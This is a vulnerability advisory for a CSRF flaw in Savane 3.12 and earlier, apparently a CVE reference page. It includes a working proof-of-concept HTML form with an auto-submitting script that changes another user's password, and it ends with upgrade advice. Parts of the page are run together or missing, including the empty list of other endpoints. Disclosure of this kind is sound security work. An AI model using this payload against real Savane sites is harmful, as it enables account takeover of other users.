
CVE-2024–27631 Reference
In Savane v3.12 and prior, a lack of CSRF protection on administrative functions can allow for privilege escalation and/or account takeover. In particular, the endpoint /siteadmin/usergroup.php includes the functionality to change the passwords and administrative flags of other users, effectively allowing an attacker to make themselves administrator.
Other notable endpoints vulnerable to CSRF include:
CWE Classification: CWE-352: Cross-Site Request Forgery (CSRF)
Reported By: Ally Petitt
Affected Product: Savane
Affected Versions: 3.12 and prior
This is a Proof-of-Concept (PoC) for changing the password of another user's account as a pathway to account takeover.
/users/<username>).<savane_instance> with the proper domain name/host address.<form id="autosubmit" action="http://<savane_instance>/siteadmin/user_changepw.php" method="POST">
<input name="form_pw" type="hidden" value="Password1!" />
<input name="form_pw2" type="hidden" value="Password1!" />
<input name="user_id" type="hidden" value="<user_id>" />
<input name="update" type="hidden" value="Update" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
Password1!.Note that this PoC script was tested on Firefox v103.0 (64-bit).
Upgrade to Savane version 3.13 or higher. The patch can be found here.